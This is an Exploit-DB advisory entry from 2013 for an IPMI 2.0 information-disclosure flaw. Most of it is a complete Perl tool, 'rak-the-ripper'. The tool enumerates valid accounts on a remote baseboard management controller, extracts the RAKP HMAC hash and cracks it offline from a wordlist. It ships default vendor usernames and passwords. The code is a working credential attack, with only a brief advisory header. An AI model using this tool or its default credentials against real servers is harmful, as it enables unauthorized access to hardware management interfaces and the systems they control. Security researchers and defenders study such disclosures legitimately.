Intelligent Platform Management Interface - Information Disclosure

EDB-ID:

38633




Platform:

Multiple

Date:

2013-07-02


source: https://www.securityfocus.com/bid/61076/info

Intelligent Platform Management Interface is prone to an information-disclosure vulnerability.

Attackers can exploit this issue to obtain sensitive information that may aid password guessing attacks.

Intelligent Platform Management Interface 2.0 is vulnerable; other versions may also be affected.

#!/usr/bin/env perl
#
#  Usage: rak-the-ripper [options] target
#
# dan/zen@trouble.org - 6/19/2013
#
# Special thanks to Jarrod B Johnson (<jbjohnso@us.ibm.com>), whose
# implemention of RAKP for the xCAT project 
(http://xcat.sourceforge.net/)
# was instrumental to furthering my understanding of the issue.
#
#
# Remote IPMi password cracker; uses the RAKP 2 protocol to guess 
passwords
# from a remote BMC.  No account or information needed.
#
# Options:
#
#  -d Debug... let it all out
#  -i                   inform... every N guesses print out a status-y 
line
#  -n num-guesses sets N for -i option -p/path/to/words Use a file of 
#  passwords to guess, 1 per line -P password Use a specific password 
#  -u/path/to/users Use a file of users to guess, 1 per line -U 
#  specific-user Use a specific user, don't guess -v Verbose -version 
#  Print version #
#
# Explanation:
#
# IPMI v2, when using the RAKP protocol, uses HMAC hashes for 
authentication
# (see page 162 of the IPMI 2.0 spec for more details.)
#
# Three factors are of interest here:
#
#  1) You can test if an account exists (RAKP will generate a 
recognizable error
#     if not.)
#  2) IPMI will return a (supposedly) globally unique number for a BMC.  
This is
#     a potentially really interesting thing - identity of a system on a 
network
#     is a very difficult problem.  Unfortunately it looks like many 
vendors
#     don't implement this correctly... not sure if all 0's (a common 
value)
#     afects the strength of the HMAC, but...?
#  3) You get to extract the HMAC hash - and then run a password cracker 
on it.
#     Pretty interesting....!
#
# To start a RAKP session you can use the fine ipmitool utility (the 
"lanplus"
# argument here forces IPMI 2.0):
#
#     ipmitool -I lanplus -v -v -v -U ADMIN -P fluffy-wuffy -H 
192.168.0.69 chassis identify
#
# This kicks off a back-n-forth sequence with a remote BMC; for 
instance, on my iMac,
# it looks like this:
#
#               client (iMac) BMC ------------- ---- 1 get channel auth 
#         2 response 3 RMCP+ open session request 4 open session 
#         response 5 RAKP message 1 6 RAKP message 2
#
# It's in step 6 that you get the HMAC hash needed to fill in the 
details.
# Fortunately ipmitool gives you all you need.
#
# You may simply parse the verbose ipmitool output, which at one point 
will emit
# something that looks like:
#
#     >> rakp2 mac input buffer (63 bytes)
#      a4 a3 a2 a0 4c 7f fb df ec a4 a3 96 b1 d0 7e 27 cd ef 32 ae 66 cf 
#      87 b9 aa 3e 97 ed 5d 39 77 4b bc 8a c5 a9 e2 da 1d d9 35 30 30 31 
#      4d 53 00 00 00 00 00 00 00 00 00 00 14 05 41 44 4d 49 4e
#
# these bytes are, in order, the session IDs of the remote console & 
managed system,
# the remote console's random number, the managed system's random 
number,
# the managed system's GUID, the priv level, the length of the user 
name,
# and finally the user name.
#
# You simply take the HMAC of that and the password (or password guess!)
# and compare it with the key exchange auth code that the BMC has sent 
you.
#
#     <<  Key exchange auth code [sha1] : 
0xede8ec3caeb235dbad1210ef985b1b19cdb40496
#
#  Default Users:       'admin', 'USERID', 'root', 'Administrator', 
'ADMIN'
#  Default Passwords:   'PASSW0RD', 'admin', 'calvin', 'changeme', 
'opensource', 'password' use Time::HiRes; use IO::CaptureOutput 
qw/capture_exec/; use Digest::SHA qw(hmac_sha1_hex); use Getopt::Long 
qw(:config no_ignore_case); sub main::VERSION_MESSAGE {
   print "$0 0.0.1\n";
   exit;
};
sub main::HELP_MESSAGE {
   print "Usage: $0 [options] target\n".
   "\t-d\t\t\tDebug... print words as they're being guessed\n".
   "\t-i\t\t\tinform... every N guesses print out a status-y line\n".
   "\t-n num-guesses\t\tsets N for -i option\n".
   "\t-p /path/to/words\tUse a file of passwords to guess, 1 per 
line\n".
   "\t-P password\t\tUse a specific password \n".
   "\t-u /path/to/users\tUse a file of users to guess, 1 per line\n".
   "\t-U specific-user\tUse a specific user, don't guess\n".
   "\t-v\t\t\tVerbose\n".
   "\t-version\t\tPrint version #\n";
   exit;
};
GetOptions(
   'd' => \$debug,
   'h' => \$help, 'help' => \$help,
   'i' => \$inform, 'inform' => \$inform,
   'n=i' => \$Nguesses,
   'p=s' => \$password_file,
   'P=s' => \@guesses,
   'u=s' => \$user_file,
   'U=s' => \@users,
   'v' => \$verbose,
   'version' => \$version ) || die main::HELP_MESSAGE();
#
# process command line arg stuff
#
die main::HELP_MESSAGE() if (defined($help));
# the target, specified on command line
$target = $ARGV[0]; die main::HELP_MESSAGE() if ($target eq "");
# this can take awhile to finish...
print "Started at " . `date` if $verbose;
# anything > 0 and <= 20 characters would work here; ipmitool simply 
needs something $pass = "fluffy-wuffy-bunny!!";
#
# Need some passwords to guess... either from file or some defaults I 
made up
# Not going to cache these since they can blow up my poor mac's 
memory... feel
# free to change it ;)
#
if (! defined(@guesses)) {
   if ($password_file ne "") {
      open(PASSWORDS, $password_file) || die "can't open user file 
$password_file\n";
      print "opening password file $password_file\n" if $verbose;
   }
   else {
      print "using default passwords\n" if $verbose;
      @guesses = ('PASSW0RD', 'admin', 'calvin', 'changeme', 
'opensource', 'password');
   }
}
#
# need to know account name... either from file or some defaults I made 
up
#
if (! defined(@users)) {
   if ($user_file ne "") {
      open(ACCOUNTS, $user_file) || die "can't open user file 
$user_file\n";
      print "getting list of users from $user_file\n" if $verbose;
      @users = <ACCOUNTS>;
      chomp(@users);
      close(ACCOUNTS);
   }
   else {
      @users = ('admin', 'ADMIN', 'USERID', 'root', 'Administrator');
      print "using default user list\n" if $verbose;
   }
}
#
# a tiny subroutine to chow down on possible guesses
#
sub guesswork() {
   print "\t$guess...\n" if $debug;
   if ($inform) {
      print "\t$n guesses (so far)...\n" if (! ($n % $Nguesses));
   }
   $guess_suffix = "";
   $guess_suffix = "ses" if $n > 1;
   # $stuff = pack 'C*', map hex, @input; print 
   # hmac_sha1_hex($stuff,$pass) . "\n"; print "... 0x" . 
   # hmac_sha1_hex($stuff,$guess) . "\n";
   if ("0x" . hmac_sha1_hex($stuff,$guess) eq $hashy) {
      print "...cracked in $n guess$guess_suffix...\n\nPassword for 
$user is $guess\n\n";
      $cracked = 1;
      return 1;
   }
   $n++;
   return(0);
}
#
# look for a user, any user... RAKP will gripe if it's not valid
#
for $user (@users) {
   print("\tprobing $target for $user...\n") if $verbose;
   # chassis id starts up the RP machinery
   @icmd = ("ipmitool", "-I", "lanplus", "-v","-v","-v","-v", "-U", 
"$user", "-P", "$pass", "-H", "$target", "chassis", "identify");
   ($stdout, $stderr, $success, $exit) = capture_exec( @icmd );
   #
   # grabbing two things - the input to calculate the hash, and the hash 
itself.
   # but first... hunt for a valid user on the BMC.
   #
   if ($stdout =~ /RMCP\+ status\s+:\s+unauthorized name/) { next; }
   elsif ($stdout =~ /RMCP\+ status\s+:\s+insufficient resources for 
session/) {
      print "interesting... insufficient resources... try again?\n" if 
$verbose;
      next;
   }
   elsif ($stdout =~ /^\s*$/) { next; }
   # kill the leading whitespace & newlines... hash is in stdout, input 
data in stderr
   $stderr =~ s/\n//gs;
   $stdout =~ s/\n//gs;
   $name_found = 1;
   print "Found valid user: $user\n" if $verbose;
   # after this, no need to continue with other users
   @users = ();
   # <<  Key exchange auth code [sha1] : 
0x6e5d0a121e13fa8f73bfc2da15f7b012382f6be9
   ($hashy = $stdout) =~ m/^.*<< Key exchange auth code \[sha1\] : 
([^\s]+).*$/m;
   $hashy = $1;
   if ($hashy eq "") { print "couldn't find an auth code, skipping\n"; 
next; }
   ($input = $stderr) =~ m/^.*>> rakp2 mac input buffer \(\d+ bytes\) 
([^>]+)>>.*$/m;
   $input = $1;
   if ($input eq "") { print "couldn't find data to HMAC, skipping\n"; 
next; }
   # stuff it into binary form
   $stuff = pack 'C*', map hex, split(/ /, $input);
   print "... searching for HMAC match for $user ($hashy)\n" if 
$verbose;
   $n = 1;
   $cracked = 0;
   # curiosity ;)
   $start = Time::HiRes::gettimeofday();
   if (! defined(@guesses)) {
      while (($guess = <PASSWORDS>)) {
         chomp($guess);
         break if guesswork();
      }
      close(PASSWORDS);
   }
   else {
      for $guess (@guesses) {
         break if guesswork();
      }
  }
}
die "\nno valid accounts found\n" unless $name_found; print "$n 
passwords were tried\n" if $verbose; $end = Time::HiRes::gettimeofday(); 
$time = $end - $start; if ($verbose && $time > 0) {
   printf("time elapsed was ~ %.2f\n", $end - $start);
   $per_second = $n / $time;
   print "$n passwords were guessed, at the rate of $per_second per 
second\n";
}